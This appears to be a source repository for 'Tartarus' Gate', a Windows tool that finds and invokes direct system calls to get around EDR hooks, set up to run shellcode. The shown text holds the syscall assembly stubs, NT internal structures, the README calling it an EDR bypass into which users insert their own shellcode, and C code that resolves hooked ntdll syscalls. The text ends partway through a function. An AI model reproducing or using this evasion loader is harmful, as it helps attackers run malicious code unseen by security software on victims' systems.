├── tartarus.jpg
├── HellsGate
├── HellsGate.vcxproj.user
├── hellsgate.asm
├── HellsGate.vcxproj.filters
├── HellsGate.vcxproj
├── structs.h
└── main.c
├── HellsGate.sln
└── README.md
/tartarus.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/trickster0/TartarusGate/HEAD/tartarus.jpg
--------------------------------------------------------------------------------
/HellsGate/HellsGate.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/HellsGate/hellsgate.asm:
--------------------------------------------------------------------------------
1 | ; Hell's Gate
2 | ; Dynamic system call invocation
3 | ;
4 | ; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
5 |
6 | .data
7 | wSystemCall DWORD 000h
8 |
9 | .code
10 | HellsGate PROC
11 | nop
12 | mov wSystemCall, 000h
13 | nop
14 | mov wSystemCall, ecx
15 | nop
16 | ret
17 | HellsGate ENDP
18 |
19 | HellDescent PROC
20 | nop
21 | mov rax, rcx
22 | nop
23 | mov r10, rax
24 | nop
25 | mov eax, wSystemCall
26 | nop
27 | syscall
28 | ret
29 | HellDescent ENDP
30 | end
31 |
--------------------------------------------------------------------------------
/HellsGate/HellsGate.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
23 |
24 | Header Files
25 |
26 |
27 |
28 |
29 | Source Files
30 |
31 |
32 |
--------------------------------------------------------------------------------
/HellsGate.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30114.105
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HellsGate", "HellsGate\HellsGate.vcxproj", "{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.ActiveCfg = Debug|x64
17 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.Build.0 = Debug|x64
18 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.ActiveCfg = Debug|Win32
19 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.Build.0 = Debug|Win32
20 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.ActiveCfg = Release|x64
21 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.Build.0 = Release|x64
22 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.ActiveCfg = Release|Win32
23 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {AAAFFDAB-0074-4A3D-BA5B-63F51AA7F8EB}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Tartarus' Gate - Bypassing EDRs
2 |
3 |
4 |
5 |
6 |
7 | ### Description
8 |
9 | Hell's Gate evolved to Halo's Gate to bypass EDRs by unhooking some of them and now it turned to Tartarus' Gate to handle even more WINAPI hooking methods.
10 |
11 | I have added some more ASM commands just for "obfuscation" for the syscalls.
12 | To use, just simply replace without shellcode, that is in .text segment on purpose although it will work in any other segments. I will let you figure out why.
13 |
14 | The custom method of "memcpy" is replaced with NtWriteVirtualMemory since it did not work very well with certain EDRs but if you still want to use it, just comment the line of NtWriteVirtualMemory and uncomment the VxMoveMemory.
15 |
16 | ### Credits / References
17 | ##### Reenz0h from @SEKTOR7net (Creator of the HalosGate technique )
18 | + This HalosGate project is based on the work of Reenz0h.
19 | + Most of the C techniques I use are from Reenz0h's awesome courses and blogs
20 | + Best classes for malware development out there.
21 | + Creator of the halos gate technique. His work was the motivation for this work.
22 | + https://blog.sektor7.net/#!res/2021/halosgate.md
23 | + https://institute.sektor7.net/
24 | ##### @smelly__vx & @am0nsec ( Creators/Publishers of the Hells Gate technique )
25 | + Awesome work on this method, really enjoyed working through it myself. Thank you!
26 | + https://github.com/am0nsec/HellsGate
27 | + Link to the Hell's Gate paper: https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf
28 |
--------------------------------------------------------------------------------
/HellsGate/HellsGate.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {dc6187cb-d5df-4973-84a2-f92aae90cda9}
25 | HellsGate
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 | false
35 |
36 |
37 | Application
38 | false
39 | v142
40 | true
41 | Unicode
42 | false
43 |
44 |
45 | Application
46 | true
47 | v142
48 | Unicode
49 | false
50 |
51 |
52 | Application
53 | false
54 | v142
55 | true
56 | Unicode
57 | false
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 | true
80 |
81 |
82 | false
83 |
84 |
85 | true
86 |
87 |
88 | false
89 |
90 |
91 |
92 | Level3
93 | true
94 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
95 | true
96 |
97 |
98 | Console
99 | true
100 |
101 |
102 |
103 |
104 | Level3
105 | true
106 | true
107 | true
108 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
109 | true
110 |
111 |
112 | Console
113 | true
114 | true
115 | true
116 |
117 |
118 |
119 |
120 | Level3
121 | true
122 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
123 | true
124 |
125 |
126 | Console
127 | true
128 |
129 |
130 |
131 |
132 | Level3
133 | true
134 | true
135 | true
136 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
137 | true
138 |
139 |
140 | Console
141 | true
142 | true
143 | true
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 | Document
155 |
156 |
157 |
158 |
159 |
160 |
161 |
--------------------------------------------------------------------------------
/HellsGate/structs.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | /*--------------------------------------------------------------------
5 | STRUCTURES
6 | --------------------------------------------------------------------*/
7 | typedef struct _LSA_UNICODE_STRING {
8 | USHORT Length;
9 | USHORT MaximumLength;
10 | PWSTR Buffer;
11 | } LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;
12 |
13 | typedef struct _LDR_MODULE {
14 | LIST_ENTRY InLoadOrderModuleList;
15 | LIST_ENTRY InMemoryOrderModuleList;
16 | LIST_ENTRY InInitializationOrderModuleList;
17 | PVOID BaseAddress;
18 | PVOID EntryPoint;
19 | ULONG SizeOfImage;
20 | UNICODE_STRING FullDllName;
21 | UNICODE_STRING BaseDllName;
22 | ULONG Flags;
23 | SHORT LoadCount;
24 | SHORT TlsIndex;
25 | LIST_ENTRY HashTableEntry;
26 | ULONG TimeDateStamp;
27 | } LDR_MODULE, * PLDR_MODULE;
28 |
29 | typedef struct _PEB_LDR_DATA {
30 | ULONG Length;
31 | ULONG Initialized;
32 | PVOID SsHandle;
33 | LIST_ENTRY InLoadOrderModuleList;
34 | LIST_ENTRY InMemoryOrderModuleList;
35 | LIST_ENTRY InInitializationOrderModuleList;
36 | } PEB_LDR_DATA, * PPEB_LDR_DATA;
37 |
38 | typedef struct _PEB {
39 | BOOLEAN InheritedAddressSpace;
40 | BOOLEAN ReadImageFileExecOptions;
41 | BOOLEAN BeingDebugged;
42 | BOOLEAN Spare;
43 | HANDLE Mutant;
44 | PVOID ImageBase;
45 | PPEB_LDR_DATA LoaderData;
46 | PVOID ProcessParameters;
47 | PVOID SubSystemData;
48 | PVOID ProcessHeap;
49 | PVOID FastPebLock;
50 | PVOID FastPebLockRoutine;
51 | PVOID FastPebUnlockRoutine;
52 | ULONG EnvironmentUpdateCount;
53 | PVOID* KernelCallbackTable;
54 | PVOID EventLogSection;
55 | PVOID EventLog;
56 | PVOID FreeList;
57 | ULONG TlsExpansionCounter;
58 | PVOID TlsBitmap;
59 | ULONG TlsBitmapBits[0x2];
60 | PVOID ReadOnlySharedMemoryBase;
61 | PVOID ReadOnlySharedMemoryHeap;
62 | PVOID* ReadOnlyStaticServerData;
63 | PVOID AnsiCodePageData;
64 | PVOID OemCodePageData;
65 | PVOID UnicodeCaseTableData;
66 | ULONG NumberOfProcessors;
67 | ULONG NtGlobalFlag;
68 | BYTE Spare2[0x4];
69 | LARGE_INTEGER CriticalSectionTimeout;
70 | ULONG HeapSegmentReserve;
71 | ULONG HeapSegmentCommit;
72 | ULONG HeapDeCommitTotalFreeThreshold;
73 | ULONG HeapDeCommitFreeBlockThreshold;
74 | ULONG NumberOfHeaps;
75 | ULONG MaximumNumberOfHeaps;
76 | PVOID** ProcessHeaps;
77 | PVOID GdiSharedHandleTable;
78 | PVOID ProcessStarterHelper;
79 | PVOID GdiDCAttributeList;
80 | PVOID LoaderLock;
81 | ULONG OSMajorVersion;
82 | ULONG OSMinorVersion;
83 | ULONG OSBuildNumber;
84 | ULONG OSPlatformId;
85 | ULONG ImageSubSystem;
86 | ULONG ImageSubSystemMajorVersion;
87 | ULONG ImageSubSystemMinorVersion;
88 | ULONG GdiHandleBuffer[0x22];
89 | ULONG PostProcessInitRoutine;
90 | ULONG TlsExpansionBitmap;
91 | BYTE TlsExpansionBitmapBits[0x80];
92 | ULONG SessionId;
93 | } PEB, * PPEB;
94 |
95 | typedef struct __CLIENT_ID {
96 | HANDLE UniqueProcess;
97 | HANDLE UniqueThread;
98 | } CLIENT_ID, * PCLIENT_ID;
99 |
100 | typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
101 | ULONG Flags;
102 | PCHAR FrameName;
103 | } TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;
104 |
105 | typedef struct _TEB_ACTIVE_FRAME {
106 | ULONG Flags;
107 | struct _TEB_ACTIVE_FRAME* Previous;
108 | PTEB_ACTIVE_FRAME_CONTEXT Context;
109 | } TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;
110 |
111 | typedef struct _GDI_TEB_BATCH {
112 | ULONG Offset;
113 | ULONG HDC;
114 | ULONG Buffer[310];
115 | } GDI_TEB_BATCH, * PGDI_TEB_BATCH;
116 |
117 | typedef PVOID PACTIVATION_CONTEXT;
118 |
119 | typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
120 | struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
121 | PACTIVATION_CONTEXT ActivationContext;
122 | ULONG Flags;
123 | } RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
124 |
125 | typedef struct _ACTIVATION_CONTEXT_STACK {
126 | PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
127 | LIST_ENTRY FrameListCache;
128 | ULONG Flags;
129 | ULONG NextCookieSequenceNumber;
130 | ULONG StackId;
131 | } ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;
132 |
133 | typedef struct _TEB {
134 | NT_TIB NtTib;
135 | PVOID EnvironmentPointer;
136 | CLIENT_ID ClientId;
137 | PVOID ActiveRpcHandle;
138 | PVOID ThreadLocalStoragePointer;
139 | PPEB ProcessEnvironmentBlock;
140 | ULONG LastErrorValue;
141 | ULONG CountOfOwnedCriticalSections;
142 | PVOID CsrClientThread;
143 | PVOID Win32ThreadInfo;
144 | ULONG User32Reserved[26];
145 | ULONG UserReserved[5];
146 | PVOID WOW32Reserved;
147 | LCID CurrentLocale;
148 | ULONG FpSoftwareStatusRegister;
149 | PVOID SystemReserved1[54];
150 | LONG ExceptionCode;
151 | #if (NTDDI_VERSION >= NTDDI_LONGHORN)
152 | PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
153 | UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
154 | ULONG TxFsContext;
155 | #elif (NTDDI_VERSION >= NTDDI_WS03)
156 | PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
157 | UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
158 | #else
159 | ACTIVATION_CONTEXT_STACK ActivationContextStack;
160 | UCHAR SpareBytes1[24];
161 | #endif
162 | GDI_TEB_BATCH GdiTebBatch;
163 | CLIENT_ID RealClientId;
164 | PVOID GdiCachedProcessHandle;
165 | ULONG GdiClientPID;
166 | ULONG GdiClientTID;
167 | PVOID GdiThreadLocalInfo;
168 | PSIZE_T Win32ClientInfo[62];
169 | PVOID glDispatchTable[233];
170 | PSIZE_T glReserved1[29];
171 | PVOID glReserved2;
172 | PVOID glSectionInfo;
173 | PVOID glSection;
174 | PVOID glTable;
175 | PVOID glCurrentRC;
176 | PVOID glContext;
177 | NTSTATUS LastStatusValue;
178 | UNICODE_STRING StaticUnicodeString;
179 | WCHAR StaticUnicodeBuffer[261];
180 | PVOID DeallocationStack;
181 | PVOID TlsSlots[64];
182 | LIST_ENTRY TlsLinks;
183 | PVOID Vdm;
184 | PVOID ReservedForNtRpc;
185 | PVOID DbgSsReserved[2];
186 | #if (NTDDI_VERSION >= NTDDI_WS03)
187 | ULONG HardErrorMode;
188 | #else
189 | ULONG HardErrorsAreDisabled;
190 | #endif
191 | #if (NTDDI_VERSION >= NTDDI_LONGHORN)
192 | PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
193 | GUID ActivityId;
194 | PVOID SubProcessTag;
195 | PVOID EtwLocalData;
196 | PVOID EtwTraceData;
197 | #elif (NTDDI_VERSION >= NTDDI_WS03)
198 | PVOID Instrumentation[14];
199 | PVOID SubProcessTag;
200 | PVOID EtwLocalData;
201 | #else
202 | PVOID Instrumentation[16];
203 | #endif
204 | PVOID WinSockData;
205 | ULONG GdiBatchCount;
206 | #if (NTDDI_VERSION >= NTDDI_LONGHORN)
207 | BOOLEAN SpareBool0;
208 | BOOLEAN SpareBool1;
209 | BOOLEAN SpareBool2;
210 | #else
211 | BOOLEAN InDbgPrint;
212 | BOOLEAN FreeStackOnTermination;
213 | BOOLEAN HasFiberData;
214 | #endif
215 | UCHAR IdealProcessor;
216 | #if (NTDDI_VERSION >= NTDDI_WS03)
217 | ULONG GuaranteedStackBytes;
218 | #else
219 | ULONG Spare3;
220 | #endif
221 | PVOID ReservedForPerf;
222 | PVOID ReservedForOle;
223 | ULONG WaitingOnLoaderLock;
224 | #if (NTDDI_VERSION >= NTDDI_LONGHORN)
225 | PVOID SavedPriorityState;
226 | ULONG_PTR SoftPatchPtr1;
227 | ULONG_PTR ThreadPoolData;
228 | #elif (NTDDI_VERSION >= NTDDI_WS03)
229 | ULONG_PTR SparePointer1;
230 | ULONG_PTR SoftPatchPtr1;
231 | ULONG_PTR SoftPatchPtr2;
232 | #else
233 | Wx86ThreadState Wx86Thread;
234 | #endif
235 | PVOID* TlsExpansionSlots;
236 | #if defined(_WIN64) && !defined(EXPLICIT_32BIT)
237 | PVOID DeallocationBStore;
238 | PVOID BStoreLimit;
239 | #endif
240 | ULONG ImpersonationLocale;
241 | ULONG IsImpersonating;
242 | PVOID NlsCache;
243 | PVOID pShimData;
244 | ULONG HeapVirtualAffinity;
245 | HANDLE CurrentTransactionHandle;
246 | PTEB_ACTIVE_FRAME ActiveFrame;
247 | #if (NTDDI_VERSION >= NTDDI_WS03)
248 | PVOID FlsData;
249 | #endif
250 | #if (NTDDI_VERSION >= NTDDI_LONGHORN)
251 | PVOID PreferredLangauges;
252 | PVOID UserPrefLanguages;
253 | PVOID MergedPrefLanguages;
254 | ULONG MuiImpersonation;
255 | union
256 | {
257 | struct
258 | {
259 | USHORT SpareCrossTebFlags : 16;
260 | };
261 | USHORT CrossTebFlags;
262 | };
263 | union
264 | {
265 | struct
266 | {
267 | USHORT DbgSafeThunkCall : 1;
268 | USHORT DbgInDebugPrint : 1;
269 | USHORT DbgHasFiberData : 1;
270 | USHORT DbgSkipThreadAttach : 1;
271 | USHORT DbgWerInShipAssertCode : 1;
272 | USHORT DbgIssuedInitialBp : 1;
273 | USHORT DbgClonedThread : 1;
274 | USHORT SpareSameTebBits : 9;
275 | };
276 | USHORT SameTebFlags;
277 | };
278 | PVOID TxnScopeEntercallback;
279 | PVOID TxnScopeExitCAllback;
280 | PVOID TxnScopeContext;
281 | ULONG LockCount;
282 | ULONG ProcessRundown;
283 | ULONG64 LastSwitchTime;
284 | ULONG64 TotalSwitchOutTime;
285 | LARGE_INTEGER WaitReasonBitMap;
286 | #else
287 | BOOLEAN SafeThunkCall;
288 | BOOLEAN BooleanSpare[3];
289 | #endif
290 | } TEB, * PTEB;
291 |
292 | typedef struct _LDR_DATA_TABLE_ENTRY {
293 | LIST_ENTRY InLoadOrderLinks;
294 | LIST_ENTRY InMemoryOrderLinks;
295 | LIST_ENTRY InInitializationOrderLinks;
296 | PVOID DllBase;
297 | PVOID EntryPoint;
298 | ULONG SizeOfImage;
299 | UNICODE_STRING FullDllName;
300 | UNICODE_STRING BaseDllName;
301 | ULONG Flags;
302 | WORD LoadCount;
303 | WORD TlsIndex;
304 | union {
305 | LIST_ENTRY HashLinks;
306 | struct {
307 | PVOID SectionPointer;
308 | ULONG CheckSum;
309 | };
310 | };
311 | union {
312 | ULONG TimeDateStamp;
313 | PVOID LoadedImports;
314 | };
315 | PACTIVATION_CONTEXT EntryPointActivationContext;
316 | PVOID PatchInformation;
317 | LIST_ENTRY ForwarderLinks;
318 | LIST_ENTRY ServiceTagLinks;
319 | LIST_ENTRY StaticLinks;
320 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
321 |
322 | typedef struct _OBJECT_ATTRIBUTES {
323 | ULONG Length;
324 | PVOID RootDirectory;
325 | PUNICODE_STRING ObjectName;
326 | ULONG Attributes;
327 | PVOID SecurityDescriptor;
328 | PVOID SecurityQualityOfService;
329 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
330 |
331 | typedef struct _INITIAL_TEB {
332 | PVOID StackBase;
333 | PVOID StackLimit;
334 | PVOID StackCommit;
335 | PVOID StackCommitMax;
336 | PVOID StackReserved;
337 | } INITIAL_TEB, * PINITIAL_TEB;
--------------------------------------------------------------------------------
/HellsGate/main.c:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include "structs.h"
4 | #include
5 |
6 | #define UP -32
7 | #define DOWN 32
8 |
9 |
10 | //typedef VOID(KNORMAL_ROUTINE) (
11 | // IN PVOID NormalContext,
12 | // IN PVOID SystemArgument1,
13 | // IN PVOID SystemArgument2);
14 | //
15 | //typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
16 | /*--------------------------------------------------------------------
17 | VX Tables
18 | --------------------------------------------------------------------*/
19 | typedef struct _VX_TABLE_ENTRY {
20 | PVOID pAddress;
21 | DWORD64 dwHash;
22 | WORD wSystemCall;
23 | } VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
24 |
25 | typedef struct _VX_TABLE {
26 | VX_TABLE_ENTRY NtAllocateVirtualMemory;
27 | VX_TABLE_ENTRY NtProtectVirtualMemory;
28 | VX_TABLE_ENTRY NtCreateThreadEx;
29 | VX_TABLE_ENTRY NtWriteVirtualMemory;
30 | VX_TABLE_ENTRY NtWaitForSingleObject;
31 | } VX_TABLE, * PVX_TABLE;
32 |
33 | /*--------------------------------------------------------------------
34 | Function prototypes.
35 | --------------------------------------------------------------------*/
36 | PTEB RtlGetThreadEnvironmentBlock();
37 | BOOL GetImageExportDirectory(
38 | _In_ PVOID pModuleBase,
39 | _Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory
40 | );
41 | BOOL GetVxTableEntry(
42 | _In_ PVOID pModuleBase,
43 | _In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory,
44 | _In_ PVX_TABLE_ENTRY pVxTableEntry
45 | );
46 | BOOL Payload(
47 | _In_ PVX_TABLE pVxTable
48 | );
49 | PVOID VxMoveMemory(
50 | _Inout_ PVOID dest,
51 | _In_ const PVOID src,
52 | _In_ SIZE_T len
53 | );
54 |
55 | /*--------------------------------------------------------------------
56 | External functions' prototype.
57 | --------------------------------------------------------------------*/
58 | extern VOID HellsGate(WORD wSystemCall);
59 | extern HellDescent();
60 |
61 |
62 | INT wmain() {
63 | //int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
64 |
65 | PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
66 | PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
67 | if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
68 | return 0x1;
69 |
70 | // Get NTDLL module
71 | PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
72 | // Get the EAT of NTDLL
73 | PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
74 | if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
75 | return 0x01;
76 | VX_TABLE Table = { 0 };
77 | Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
78 | if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
79 | return 0x1;
80 |
81 | Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
82 | if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
83 | return 0x1;
84 |
85 | Table.NtWriteVirtualMemory.dwHash = 0x68a3c2ba486f0741;
86 | if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory))
87 | return 0x1;
88 |
89 | Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
90 | if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
91 | return 0x1;
92 |
93 | Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
94 | if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
95 | return 0x1;
96 |
97 | Payload(&Table);
98 | return 0x00;
99 | }
100 |
101 | PTEB RtlGetThreadEnvironmentBlock() {
102 | #if _WIN64
103 | return (PTEB)__readgsqword(0x30);
104 | #else
105 | return (PTEB)__readfsdword(0x16);
106 | #endif
107 | }
108 |
109 | DWORD64 djb2(PBYTE str) {
110 | DWORD64 dwHash = 0x7734773477347734;
111 | INT c;
112 |
113 | while (c = *str++)
114 | dwHash = ((dwHash << 0x5) + dwHash) + c;
115 |
116 | return dwHash;
117 | }
118 |
119 | BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
120 | // Get DOS header
121 | PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
122 | if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
123 | return FALSE;
124 | }
125 |
126 | // Get NT headers
127 | PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
128 | if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
129 | return FALSE;
130 | }
131 |
132 | // Get the EAT
133 | *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
134 | return TRUE;
135 | }
136 |
137 | BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
138 | PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
139 | PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
140 | PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
141 |
142 | for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
143 | PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
144 | PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
145 | if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
146 | pVxTableEntry->pAddress = pFunctionAddress;
147 |
148 | // First opcodes should be :
149 | // MOV R10, RCX
150 | // MOV RAX,
151 | if (*((PBYTE)pFunctionAddress) == 0x4c
152 | && *((PBYTE)pFunctionAddress + 1) == 0x8b
153 | && *((PBYTE)pFunctionAddress + 2) == 0xd1
154 | && *((PBYTE)pFunctionAddress + 3) == 0xb8
155 | && *((PBYTE)pFunctionAddress + 6) == 0x00
156 | && *((PBYTE)pFunctionAddress + 7) == 0x00) {
157 |
158 | BYTE high = *((PBYTE)pFunctionAddress + 5);
159 | BYTE low = *((PBYTE)pFunctionAddress + 4);
160 | pVxTableEntry->wSystemCall = (high << 8) | low;
161 |
162 | return TRUE;
163 | }
164 | //if hooked check the neighborhood to find clean syscall
165 | if (*((PBYTE)pFunctionAddress) == 0xe9) {
166 | for (WORD idx = 1; idx <= 500; idx++) {
167 | // check neighboring syscall down
168 | if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
169 | && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
170 | && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
171 | && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
172 | && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
173 | && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
174 | BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
175 | BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
176 | pVxTableEntry->wSystemCall = (high << 8) | low - idx;
177 |
178 | return TRUE;
179 | }
180 | // check neighboring syscall up
181 | if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
182 | && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
183 | && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
184 | && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
185 | && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
186 | && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) {
187 | BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP);
188 | BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP);
189 | pVxTableEntry->wSystemCall = (high << 8) | low + idx;
190 |
191 | return TRUE;
192 | }
193 |
194 | }
195 | return FALSE;
196 | }
197 | if (*((PBYTE)pFunctionAddress + 3) == 0xe9) {
198 | for (WORD idx = 1; idx <= 500; idx++) {
199 | // check neighboring syscall down
200 | if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
201 | && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
202 | && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
203 | && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
204 | && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
205 | && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
206 | BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
207 | BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
208 | pVxTableEntry->wSystemCall = (high << 8) | low - idx;
209 | return TRUE;
210 | }
211 | // check neighboring syscall up
212 | if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
213 | && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
214 | && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
215 | && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
216 | && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
